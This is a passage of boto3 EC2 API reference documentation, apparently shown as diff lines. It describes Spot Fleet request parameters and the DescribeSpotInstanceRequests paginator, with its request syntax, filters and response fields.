[RunInstances](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_RunInstances.html) request. + + - **SubnetId** _(string) --_ + + The ID of the subnet associated with the network interface. Applies only if creating a network interface when launching an instance. + + - **AssociateCarrierIpAddress** _(boolean) --_ + + Indicates whether to assign a carrier IP address to the network interface. + + You can only assign a carrier IP address to a network interface that is in a subnet in a Wavelength Zone. For more information about carrier IP addresses, see Carrier IP addresses in the AWS Wavelength Developer Guide. + + - **InterfaceType** _(string) --_ + + The type of network interface. + + To create an Elastic Fabric Adapter (EFA), specify efa . For more information, see [Elastic Fabric Adapter](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/efa.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + If you are not creating an EFA, specify interface or omit this parameter. + + Valid values: interface | efa + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. Some instance types support multiple network cards. The primary network interface must be assigned to network card index 0. The default is network card index 0. + + - **Placement** _(dict) --_ + + The placement information. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone. + + [Spot Fleet only] To specify multiple Availability Zones, separate them using commas; for example, "us-west-2a, us-west-2b". + + - **GroupName** _(string) --_ + + The name of the placement group. + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for Spot Instances. + + - **RamdiskId** _(string) --_ + + The ID of the RAM disk. Some kernels require additional drivers at launch. Check the kernel requirements for information about whether you need to specify a RAM disk. To find kernel requirements, refer to the AWS Resource Center and search for the kernel ID. + + - **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. If this value is not specified, the default is the Spot price specified for the fleet. To determine the Spot price per unit hour, divide the Spot price by the value of WeightedCapacity . + + - **SubnetId** _(string) --_ + + The IDs of the subnets in which to launch the instances. To specify multiple subnets, separate them using commas; for example, "subnet-1234abcdeexample1, subnet-0987cdef6example2". + + - **UserData** _(string) --_ + + The Base64-encoded user data that instances use when starting up. + + - **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. These are the same units that you chose to set the target capacity in terms of instances, or a performance characteristic such as vCPUs, memory, or I/O. + + If the target capacity divided by this value is not a whole number, Amazon EC2 rounds the number of instances to the next whole number. If this value is not specified, the default is 1. + + - **TagSpecifications** _(list) --_ + + The tags to apply during creation. + + - _(dict) --_ + + The tags for a Spot Fleet resource. + + - **ResourceType** _(string) --_ + + The type of resource. Currently, the only resource type that is supported is instance . To tag the Spot Fleet request on creation, use the TagSpecifications parameter in ` SpotFleetRequestConfigData [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetRequestConfigData](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetRequestConfigData).html`__ . + + - **Tags** _(list) --_ + + The tags. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **LaunchTemplateConfigs** _(list) --_ + + The launch template and overrides. If you specify LaunchTemplateConfigs , you can't specify LaunchSpecifications . If you include On-Demand capacity in your request, you must use LaunchTemplateConfigs . + + - _(dict) --_ + + Describes a launch template and overrides. + + - **LaunchTemplateSpecification** _(dict) --_ + + The launch template. + + - **LaunchTemplateId** _(string) --_ + + The ID of the launch template. If you specify the template ID, you can't specify the template name. + + - **LaunchTemplateName** _(string) --_ + + The name of the launch template. If you specify the template name, you can't specify the template ID. + + - **Version** _(string) --_ + + The launch template version number, $Latest , or $Default . You must specify a value, otherwise the request fails. + + If the value is $Latest , Amazon EC2 uses the latest version of the launch template. + + If the value is $Default , Amazon EC2 uses the default version of the launch template. + + - **Overrides** _(list) --_ + + Any parameters that you specify override the same parameters in the launch template. + + - _(dict) --_ + + Describes overrides for a launch template. + + - **InstanceType** _(string) --_ + + The instance type. + + - **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. + + - **SubnetId** _(string) --_ + + The ID of the subnet in which to launch the instances. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone in which to launch the instances. + + - **WeightedCapacity** _(float) --_ + + The number of units provided by the specified instance type. + + - **Priority** _(float) --_ + + The priority for the launch template override. If **OnDemandAllocationStrategy** is set to prioritized , Spot Fleet uses priority to determine which launch template override to use first in fulfilling On-Demand capacity. The highest priority is launched first. Valid values are whole numbers starting at 0 . The lower the number, the higher the priority. If no number is set, the launch template override has the lowest priority. + + - **SpotPrice** _(string) --_ + + The maximum price per unit hour that you are willing to pay for a Spot Instance. The default is the On-Demand price. + + - **TargetCapacity** _(integer) --_ + + The number of units to request for the Spot Fleet. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + - **OnDemandTargetCapacity** _(integer) --_ + + The number of On-Demand units to request. You can choose to set the target capacity in terms of instances or a performance characteristic that is important to your application workload, such as vCPUs, memory, or I/O. If the request type is maintain , you can specify a target capacity of 0 and add capacity later. + + - **OnDemandMaxTotalPrice** _(string) --_ + + The maximum amount per hour for On-Demand Instances that you're willing to pay. You can use the onDemandMaxTotalPrice parameter, the spotMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + - **SpotMaxTotalPrice** _(string) --_ + + The maximum amount per hour for Spot Instances that you're willing to pay. You can use the spotdMaxTotalPrice parameter, the onDemandMaxTotalPrice parameter, or both parameters to ensure that your fleet cost does not exceed your budget. If you set a maximum price per hour for the On-Demand Instances and Spot Instances in your request, Spot Fleet will launch instances until it reaches the maximum amount you're willing to pay. When the maximum amount you're willing to pay is reached, the fleet stops launching instances even if it hasn’t met the target capacity. + + - **TerminateInstancesWithExpiration** _(boolean) --_ + + Indicates whether running Spot Instances are terminated when the Spot Fleet request expires. + + - **Type** _(string) --_ + + The type of request. Indicates whether the Spot Fleet only requests the target capacity or also attempts to maintain it. When this value is request , the Spot Fleet only places the required requests. It does not attempt to replenish Spot Instances if capacity is diminished, nor does it submit requests in alternative Spot pools if capacity is not available. When this value is maintain , the Spot Fleet maintains the target capacity. The Spot Fleet places the required requests to meet capacity and automatically replenishes any interrupted instances. Default: maintain . instant is listed but is not used by Spot Fleet. + + - **ValidFrom** _(datetime) --_ + + The start date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). By default, Amazon EC2 starts fulfilling the request immediately. + + - **ValidUntil** _(datetime) --_ + + The end date and time of the request, in UTC format (_YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). After the end date and time, no new Spot Instance requests are placed or able to fulfill the request. If no value is specified, the Spot Fleet request remains until you cancel it. + + - **ReplaceUnhealthyInstances** _(boolean) --_ + + Indicates whether Spot Fleet should replace unhealthy instances. + + - **InstanceInterruptionBehavior** _(string) --_ + + The behavior when a Spot Instance is interrupted. The default is terminate . + + - **LoadBalancersConfig** _(dict) --_ + + One or more Classic Load Balancers and target groups to attach to the Spot Fleet request. Spot Fleet registers the running Spot Instances with the specified Classic Load Balancers and target groups. + + With Network Load Balancers, Spot Fleet cannot register instances that have the following instance types: C1, CC1, CC2, CG1, CG2, CR1, CS1, G1, G2, HI1, HS1, M1, M2, M3, and T1. + + - **ClassicLoadBalancersConfig** _(dict) --_ + + The Classic Load Balancers. + + - **ClassicLoadBalancers** _(list) --_ + + One or more Classic Load Balancers. + + - _(dict) --_ + + Describes a Classic Load Balancer. + + - **Name** _(string) --_ + + The name of the load balancer. + + - **TargetGroupsConfig** _(dict) --_ + + The target groups. + + - **TargetGroups** _(list) --_ + + One or more target groups. + + - _(dict) --_ + + Describes a load balancer target group. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the target group. + + - **InstancePoolsToUseCount** _(integer) --_ + + The number of Spot pools across which to allocate your target Spot capacity. Valid only when Spot **AllocationStrategy** is set to lowest-price . Spot Fleet selects the cheapest Spot pools and evenly allocates your target Spot capacity across the number of Spot pools that you specify. + + - **TagSpecifications** _(list) --_ + + The key-value pair for tagging the Spot Fleet request on creation. The value for ResourceType must be spot-fleet-request , otherwise the Spot Fleet request fails. To tag instances at launch, specify the tags in the [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html#create-launch-template) (valid only if you use LaunchTemplateConfigs ) or in the ` SpotFleetTagSpecification [https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetTagSpecification](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_SpotFleetTagSpecification).html`__ (valid only if you use LaunchSpecifications ). For information about tagging after launch, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html#tag-resources) . + + - _(dict) --_ + + The tags to apply to a resource when the resource is being created. + + - **ResourceType** _(string) --_ + + The type of resource to tag. Currently, the resource types that support tagging on creation are: capacity-reservation | carrier-gateway | client-vpn-endpoint | customer-gateway | dedicated-host | dhcp-options | egress-only-internet-gateway | elastic-ip | elastic-gpu | export-image-task | export-instance-task | fleet | fpga-image | host-reservation | image | import-image-task | import-snapshot-task | instance | internet-gateway | ipv4pool-ec2 | ipv6pool-ec2 | key-pair | launch-template | local-gateway-route-table-vpc-association | placement-group | prefix-list | natgateway | network-acl | network-interface | reserved-instances [|](#id725)route-table | security-group | snapshot | spot-fleet-request | spot-instances-request | snapshot | subnet | traffic-mirror-filter | traffic-mirror-session | traffic-mirror-target | transit-gateway | transit-gateway-attachment | transit-gateway-multicast-domain | transit-gateway-route-table | volume [|](#id727)vpc | vpc-peering-connection | vpc-endpoint (for interface and gateway endpoints) | vpc-endpoint-service (for AWS PrivateLink) | vpc-flow-log | vpn-connection | vpn-gateway . + + To tag a resource after it has been created, see [CreateTags](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateTags.html) . + + - **Tags** _(list) --_ + + The tags to apply to the resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + - **SpotFleetRequestId** _(string) --_ + + The ID of the Spot Fleet request. + + - **SpotFleetRequestState** _(string) --_ + + The state of the Spot Fleet request. + + - **Tags** _(list) --_ + + The tags for a Spot Fleet resource. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +_class_ EC2.Paginator.DescribeSpotInstanceRequests + +paginator = client.get_paginator('describe_spot_instance_requests') + +paginate(kwargs_) + +Creates an iterator that will paginate through responses from [EC2.Client.describe_spot_instance_requests()](#EC2.Client.describe_spot_instance_requests "EC2.Client.describe_spot_instance_requests"). + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/DescribeSpotInstanceRequests) + +**Request Syntax** + +response_iterator = paginator.paginate( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + DryRun=True|False, + SpotInstanceRequestIds=[ + 'string', + ], + PaginationConfig={ + 'MaxItems': 123, + 'PageSize': 123, + 'StartingToken': 'string' + } +) + +Parameters + +- **Filters** (_list_) -- + + One or more filters. + + - availability-zone-group - The Availability Zone group. + - create-time - The time stamp when the Spot Instance request was created. + - fault-code - The fault code related to the request. + - fault-message - The fault message related to the request. + - instance-id - The ID of the instance that fulfilled the request. + - launch-group - The Spot Instance launch group. + - launch.block-device-mapping.delete-on-termination - Indicates whether the EBS volume is deleted on instance termination. + - launch.block-device-mapping.device-name - The device name for the volume in the block device mapping (for example, /dev/sdh or xvdh ). + - launch.block-device-mapping.snapshot-id - The ID of the snapshot for the EBS volume. + - launch.block-device-mapping.volume-size - The size of the EBS volume, in GiB. + - launch.block-device-mapping.volume-type - The type of EBS volume: gp2 for General Purpose SSD, io1 or io2 for Provisioned IOPS SSD, st1 for Throughput Optimized HDD, sc1 for Cold HDD, or standard for Magnetic. + - launch.group-id - The ID of the security group for the instance. + - launch.group-name - The name of the security group for the instance. + - launch.image-id - The ID of the AMI. + - launch.instance-type - The type of instance (for example, m3.medium ). + - launch.kernel-id - The kernel ID. + - launch.key-name - The name of the key pair the instance launched with. + - launch.monitoring-enabled - Whether detailed monitoring is enabled for the Spot Instance. + - launch.ramdisk-id - The RAM disk ID. + - launched-availability-zone - The Availability Zone in which the request is launched. + - network-interface.addresses.primary - Indicates whether the IP address is the primary private IP address. + - network-interface.delete-on-termination - Indicates whether the network interface is deleted when the instance is terminated. + - network-interface.description - A description of the network interface. + - network-interface.device-index - The index of the device for the network interface attachment on the instance. + - network-interface.group-id - The ID of the security group associated with the network interface. + - network-interface.network-interface-id - The ID of the network interface. + - network-interface.private-ip-address - The primary private IP address of the network interface. + - network-interface.subnet-id - The ID of the subnet for the instance. + - product-description - The product description associated with the instance (Linux/UNIX | Windows ). + - spot-instance-request-id - The Spot Instance request ID. + - spot-price - The maximum hourly price for any Spot Instance launched to fulfill the request. + - state - The state of the Spot Instance request (open | active | closed | cancelled | failed ). Spot request status information can help you track your Amazon EC2 Spot Instance requests. For more information, see [Spot request status](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/spot-bid-status.html) in the _Amazon EC2 User Guide for Linux Instances_ . + - status-code - The short code describing the most recent evaluation of your Spot Instance request. + - status-message - The message explaining the status of the Spot Instance request. + - tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - type - The type of Spot Instance request (one-time | persistent ). + - valid-from - The start date of the request. + - valid-until - The end date of the request. + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **SpotInstanceRequestIds** (_list_) -- + + One or more Spot Instance request IDs. + + - _(string) --_ +- **PaginationConfig** (_dict_) -- + + A dictionary that provides parameters to control pagination. + + - **MaxItems** _(integer) --_ + + The total number of items to return. If the total number of items available is more than the value specified in max-items then a NextToken will be provided in the output that you can use to resume pagination. + + - **PageSize** _(integer) --_ + + The size of each page. + + - **StartingToken** _(string) --_ + + A token to specify where to start paginating. This is the NextToken from a previous response. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'SpotInstanceRequests': [ + { + 'ActualBlockHourlyPrice': 'string', + 'AvailabilityZoneGroup': 'string', + 'BlockDurationMinutes': 123, + 'CreateTime': datetime(2015, 1, 1), + 'Fault': { + 'Code': 'string', + 'Message': 'string' + }, + 'InstanceId': 'string', + 'LaunchGroup': 'string', + 'LaunchSpecification': { + 'UserData': 'string', + 'SecurityGroups': [ + { + 'GroupName': 'string', + 'GroupId': 'string' + }, + ], + 'AddressingType': 'string', + 'BlockDeviceMappings': [ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + 'EbsOptimized': True|False, + 'IamInstanceProfile': { + 'Arn': 'string', + 'Name': 'string' + }, + 'ImageId': 'string', + 'InstanceType': 't1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + 'KernelId': 'string', + 'KeyName': 'string', + 'NetworkInterfaces': [ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 'SubnetId': 'string', + 'AssociateCarrierIpAddress': True|False, + 'InterfaceType': 'string', + 'NetworkCardIndex': 123 + }, + ], + 'Placement': { + 'AvailabilityZone': 'string', + 'GroupName': 'string', + 'Tenancy': 'default'|'dedicated'|'host' + }, + 'RamdiskId': 'string', + 'SubnetId': 'string', + 'Monitoring': { + 'Enabled': True|False + } + }, + 'LaunchedAvailabilityZone': 'string', + 'ProductDescription': 'Linux/UNIX'|'Linux/UNIX (Amazon VPC)'|'Windows'|'Windows (Amazon VPC)', + 'SpotInstanceRequestId': 'string', + 'SpotPrice': 'string', + 'State': 'open'|'active'|'closed'|'cancelled'|'failed', + 'Status': { + 'Code': 'string', + 'Message': 'string', + 'UpdateTime': datetime(2015, 1, 1) + }, + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ], + 'Type': 'one-time'|'persistent', + 'ValidFrom': datetime(2015, 1, 1), + 'ValidUntil': datetime(2015, 1, 1), + 'InstanceInterruptionBehavior': 'hibernate'|'stop'|'terminate' + }, + ], + +} + +**Response Structure** + +- _(dict) --_ + + Contains the output of DescribeSpotInstanceRequests. + + - **SpotInstanceRequests** _(list) --_ + + One or more Spot Instance requests. + + - _(dict) --_ + + Describes a Spot Instance request. + + - **ActualBlockHourlyPrice** _(string) --_ + + If you specified a duration and your Spot Instance request was fulfilled, this is the fixed hourly price in effect for the Spot Instance while it runs. + + - **AvailabilityZoneGroup** _(string) --_ + + The Availability Zone group. If you specify the same Availability Zone group for all Spot Instance requests, all Spot Instances are launched in the same Availability Zone. + + - **BlockDurationMinutes** _(integer) --_ + + The duration for the Spot Instance, in minutes. + + - **CreateTime** _(datetime) --_ + + The date and time when the Spot Instance request was created, in UTC format (for example, _YYYY_ -_MM_ -_DD_ T*HH* :_MM_ :_SS_ Z). + + - **Fault** _(dict) --_ + + The fault codes for the Spot Instance request, if any. + + - **Code** _(string) --_ + + The reason code for the Spot Instance state change. + + - **Message** _(string) --_ + + The message for the Spot Instance state change. + + - **InstanceId** _(string) --_ + + The instance ID, if an instance has been launched to fulfill the Spot Instance request. + + - **LaunchGroup** _(string) --_ + + The instance launch group. Launch groups are Spot Instances that launch together and terminate together. + + - **LaunchSpecification** _(dict) --_ + + Additional information for launching instances. + + - **UserData** _(string) --_ + + The Base64-encoded user data for the instance. + + - **SecurityGroups** _(list) --_ + + One or more security groups. When requesting instances in a VPC, you must specify the IDs of the security groups. When requesting instances in EC2-Classic, you can specify the names or the IDs of the security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **AddressingType** _(string) --_ + + Deprecated. + + - **BlockDeviceMappings** _(list) --_ + + One or more block device mapping entries. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **VirtualName** _(string) --_ + + The virtual device name (ephemeral N). Instance store volumes are numbered starting from 0. An instance type with 2 available instance store volumes can specify mappings for ephemeral0 and ephemeral1 . The number of available instance store volumes depends on the instance type. After you connect to the instance, you must mount the volume. + + NVMe instance store volumes are automatically enumerated and assigned a device name. Including them in your block device mapping has no effect. + + Constraints: For M3 instances, you must specify instance store volumes in the block device mapping for the instance. When you launch an M3 instance, we ignore any instance store volumes specified in the block device mapping for the AMI. + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. For more information, see [Preserving Amazon EBS volumes on instance termination](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/terminating-instances.html#preserving-volumes-on-termination) in the Amazon Elastic Compute Cloud User Guide. + + - **Iops** _(integer) --_ + + The number of I/O operations per second (IOPS). For gp3 , io1 , and io2 volumes, this represents the number of IOPS that are provisioned for the volume. For gp2 volumes, this represents the baseline performance of the volume and the rate at which the volume accumulates I/O credits for bursting. + + The following are the supported values for each volume type: + + - gp3 : 3,000-16,000 IOPS + - io1 : 100-64,000 IOPS 